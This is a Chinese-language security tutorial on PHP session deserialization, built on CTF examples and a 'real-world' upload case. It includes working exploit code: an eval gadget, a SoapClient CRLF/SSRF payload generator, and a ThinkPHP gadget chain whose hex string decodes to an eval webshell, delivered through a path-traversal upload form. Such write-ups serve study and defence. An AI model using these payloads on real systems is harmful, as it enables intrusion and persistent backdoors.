PHP_SESSION与反序列化
基础
贴一下之前写过的
利用session进行反序列化,首先要了解session序列化机制
推荐文章:
一些参数及含义
Directive |
含义 |
session.save_handler |
session保存形式。默认为files |
session.save_path |
session保存路径。 |
session.serialize_handler |
session序列化存储所用处理器。默认为php。 |
session.upload_progress.cleanup |
一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled |
将上传文件的进度信息存在session中。默认开启。 |
查看目前配置,我的session.serialize_handler
参数是php_serialize
,如下

尝试demo
,然后去查看session
文件,代码如下
1 2 3 4 5
| <?php session_start(); $_SESSION['name'] = 'mochazz'; var_dump($_SESSION); ?>
|

当session.serialize_handler
参数是php
,在php.ini
中修改参数值


php的session存储与读取是一个序列化跟反序列化的过程
其中有三种模式,分别是php_binary、php、php_serialize
这几个模式的存储方式不太一样,这也是会导致反序列化漏洞的根源
漏洞测试
首先,要设置session.upload_progress.cleanup参数问Off,不然信息会立刻被清理
再把session_serialize_handler设置为php_serialize
编写代码如下(ctf题)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
ini_set('session.serialize_handler', 'php'); session_start(); class OowoO{ public $mdzz; function __construct(){ $this->mdzz = 'phpinfo();'; } function __destruct(){ eval($this->mdzz); } } if(isset($_GET['phpinfo'])){ $m = new OowoO(); } else{ highlight_string(file_get_contents('index.php')); } ?>
|
session
的各项参数值如下图

下一步我们就该思考如何通过反序列化替换掉源程序中的phpinfo
字符串,没有unserialize
,但是该页面调用了session_start()
函数,,可以使用session
反序列化,序列化字符串生成demo
如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class OowoO{ public $mdzz; function __construct(){ $this->mdzz = 'phpinfo();'; } function __destruct(){ eval($this->mdzz); } } $a=new OowoO(); $a->mdzz="var_dump(scandir('./'));"; echo serialize($a);
|

test.php
页面并没有重新设置session_serialize_handler
的值所以最后序列化完成的字符串是
1
| O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
|
通过什么方式传进index.php
呢?
通过PHP_SESSION_UPLOAD_PROGRESS
来伪造session
session读取post数据,存进session文件中,而index页面读取session,但是index页面session的处理机制会按照 session.serialize_handler=php 规则来处理 session 文件,将 | 符号之前的所有内容认为是键名,之后的内容则用于反序列化
1 2 3 4 5
| <form action="index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
|
抓包,修改数据,放包后成功获取目录结构,如下

尝试使用file_get_contents()
函数读取本地的flag.php
,如下

例题二

在 index.php
文件中,看到 第5行
的 call_user_func
方法,其参数二的位置固定为 $_POST
数组,我们很容易便想到利用 extract
函数进行变量覆盖,以便配合后续利用。 第6-8 行代码又存在 session
伪造漏洞,我们可以考虑是否可以包含 session
文件或者利用 session
反序列化漏洞。 第12行 的 call_user_func函数的第一个参数虽然被固定为
implode,但是我们可以通过前面的
extract函数进行变量覆盖(注意:在PHP7.x比较新的版本中,已经不允许动态调用
extract函数了)。而 **flag.php** 文件中告诉我们,只有 **127.0.0.1** 请求该页面才能得到 **flag** ,所以这明显又是考察
SSRF漏洞,这里我们便可以利用
SoapClient类的
__call方法来进行
SSRF` 。
下面我们通过一个例子,来看看 SoapClient
类的 __call
方法如何使用。
1 2 3 4 5 6 7 8 9 10 11
| <?php $target = "http://localhost:2333"; $options = array( "location" => $target, "user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n", "uri" => "demo" ); $attack = new SoapClient(null,$options); $payload = serialize($attack); unserialize($payload)->ff(); ?>
|
由于 PHP
中的原生 SoapClient
类存在 CRLF
漏洞,所以我们可以伪造任意 header
信息,上面的请求结果如下:

而 call_user_func
函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法,例如:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class myclass { static function say_hello() { echo "Hello!\n"; } } $classname = "myclass"; call_user_func(array($classname, 'say_hello')); call_user_func($classname .'::say_hello'); $myobject = new myclass(); call_user_func(array($myobject, 'say_hello')); ?>
|
这样题目中的 call_user_func()
就可以变成 call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018'))
,即调用 SoapClient
类不存在的 welcome_to_the_lctf2018
方法,从而触发 __call
方法发起 soap
请求进行 SSRF
。
这里还要提及一点的是 session_start
函数从 PHP7
开始允许通过参数来设置 session
运行时配置。例如:
1
| session_start(array('serialize_handler' => 'php_serialize'))
|
将会设置 session.serialize_handler=php_serialize
。
最终我们的利用方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php $target = "http://127.0.0.1/flag.php"; $post_data = 'flag=demo'; $ua = array( 'mochazz', 'Content-Type: application/x-www-form-urlencoded', 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=mochazz' ); $options = array( 'location' => $target, 'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data, 'uri'=>'hello' ); $serialize_string = serialize(new SoapClient(null,$options)); echo urlencode($serialize_string); ?>
|


最后我们再将 PHPSESSID
修改成 mochazz
即可获得 flag
,整个攻击的流程图如下:

例二题目环境可以从 这里 下载。
实际场景
当然上述场景基本不可能存在
遇到了一种上传的场景
后缀黑白名单,加上路径可控,可触发session反序列化

这种场景是存在的,后台有不少可以让设置后缀的,然后有怕被设置成php所以采用黑+白名单的形式如果以上代码在存在反序列化的框架中,则能完成利用
这里可以看到,最后rename的文件名字是不可控的,但是再次之前还有一个temp文件
可以被利用,形如sess_temp
实际的测试
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| public function sess_unser(){ $S_filetype='png,jpg,jpeg,gif,/sess'; $id=$_GET["id"]; $path=$_GET["path"]; $path = str_replace("@@", "..", $path); $processid=$_GET["processid"]; $kanme=explode('.', $_POST['filename']); $kname=strtolower(end($kanme)); $k=$processid.".".$kname."_temp"; $g=date("YmdHis",time()).$this->gen_key(2).".".$kname; if(strpos($S_filetype,$kname)!==false){ if (strpos($path, "../") !== false) { $p = $path; } else { $p = $_SERVER["DOCUMENT_ROOT"] . $path; } if (preg_match('/asp|php|apsx|asax|ascx|cdx|cer|pht|htaccess|cgi|jsp/i', $k)) { die("error|上传文件格式不允许!"); } else { if(!file_exists($p . "/" . $k)){ move_uploaded_file($_FILES['video']['tmp_name'],$p . "/" . $k); }else{ file_put_contents($p . "/" . $k,file_get_contents($_FILES['video']['tmp_name']),FILE_APPEND); } if(filesize($p . "/" . $k)==$_POST['size']){ rename($p . "/" . $k,$p . "/" . $g); } } } } function gen_key($length,$type=1) { switch ($type){ case 1: $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; break; case 2: $chars = '0123456789'; break; case 3: $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 4: $chars = 'abcdefghijklmnopqrstuvwxyz'; break; default: $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; }
$password = ''; for ( $i = 0; $i < $length; $i++ ) { $password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; } return $password; } public function payload(){ $a = 'O%3A13%3A%22think%5CProcess%22%3A3%3A%7Bs%3A21%3A%22%00think%5CProcess%00status%22%3Bs%3A6%3A%22starte%22%3Bs%3A27%3A%22%00think%5CProcess%00processPipes%22%3BO%3A28%3A%22think%5Cmodel%5Crelation%5CHasMany%22%3A4%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A29%3A%22think%5Csession%5Cdriver%5CMemcache%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A28%3A%22think%5Ccache%5Cdriver%5CMemcached%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A13%3A%22think%5CRequest%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00get%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A74%3A%223c3f70687020406576616c28245f524551554553545b27696d67275d293b6578697428293b%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22hex2bin%22%3Bi%3A1%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7D%7Ds%3A10%3A%22%00%2A%00options%22%3Ba%3A1%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A5%3A%22test%2F%22%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A6%3A%22expire%22%3Bs%3A0%3A%22%22%3Bs%3A12%3A%22session_name%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22where%22%3Bi%3A1%3Bs%3A16%3A%22removeWhereField%22%3B%7D%7Ds%3A13%3A%22%00%2A%00foreignKey%22%3Bs%3A3%3A%22abc%22%3Bs%3A9%3A%22%00%2A%00parent%22%3BO%3A10%3A%22think%5CView%22%3A1%3A%7Bs%3A6%3A%22engine%22%3Bs%3A3%3A%22111%22%3B%7Ds%3A11%3A%22%00%2A%00localKey%22%3Bs%3A6%3A%22engine%22%3B%7Ds%3A33%3A%22%00think%5CProcess%00processInformation%22%3Ba%3A1%3A%7Bs%3A7%3A%22running%22%3Bs%3A1%3A%221%22%3B%7D%7D'; $payload = 'name|'.urldecode($a); file_put_contents('aaaa.sess',$payload); }
|
首先访问payload方法,生成文件

上传文件
这里的path是sess存的路径,windows下不确定,linux下一般都是tmp目录下
1 2 3 4 5 6 7 8 9
| <html> <body> <form action="http://192.168.1.220:82/index.php/index/index/sess_unser?path=../../../Extensions/tmp/tmp/&processid=&id=" method="POST" enctype="multipart/form-data"> <input type="file" name="video" /> <input type="hidden" name="filename" value="/sess"/> <input type="submit" value="submit" /> </form> </body> </html>
|

调用session
1 2 3 4
| public function sess_unserialize(){ echo "aaaaa"; session_start(); }
|

end